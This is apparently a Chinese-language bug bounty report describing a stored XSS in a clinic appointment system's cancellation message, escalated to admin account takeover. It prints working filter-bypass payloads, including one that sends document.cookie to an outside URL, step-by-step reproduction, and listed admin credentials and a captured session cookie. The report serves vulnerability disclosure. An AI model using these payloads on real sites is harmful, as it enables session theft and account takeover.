我发现了一个存储的XSS漏洞,我可以通过窃取cookie升级为帐户接管。
我的payload目前需要最少的用户交互,只需单击即可。
如果我仍然找到一个更好的,一个没有用户交互的。
这是我的payload: "><xss/id="1"/tabindex="1"/style="font-size:%20100px"/autofocus/onfocusin="confirm%601%60">
与cookie一起消失的payload: "><xss/id="1"/tabindex="1"/style="font-size:%20100px"/autofocus/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">
访问/book-appointment.html
并填写所有必填字段,然后单击预订预约。
接下来,复制预约ID并访问/yourappointments.php
。
粘贴之前复制的ID并检索预约。
之后,向下滚动并单击取消预约。确保您拦截了此请求。
使用以下有效载荷添加消息:
"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">
您通常会收到一个确认框,确认您的预约已取消,单击确定。接下来,访问/login.php并使用提供的凭据登录:drAdmin:s2Wpx5zfUvlSZhspJ。
导航到/drpanel/cancelled.php,然后单击上次取消的预约。
你会看到我们被重定向到https://example.com/?cookie=drps=e7340a3ab0c53934aa368ed55
,我们的cookie在cookie参数中。即使管理员注销,此cookie也可以轻松重用。这是因为cookie不会过期。
我能够通过取消我们的预约并包含一条消息来接管一个管理员帐户。
我花了一些时间才找到这个payload,我首先尝试了一些基本的html标签,并迅速发布了大多数常见的标签被阻止。因为我们不允许使用任何自动化工具,我只是去尝试了自定义标签。
这起作用了:我以为<xss/contenteditable/autofocus/onfocus="">
会起作用,但由于onfocus事件处理程序而没有。
这意味着我们必须找到一个具有用户交互的。
这就是我如何通过focusin,这个事件处理程序没有被删除,我再次离实现存储的XSS又近了一步:
在那之后,我很快得到了一个有效的payload。
因为cookie不是httpOnly,我选择了窃取cookie,因为这是实现帐户接管的最简单方法!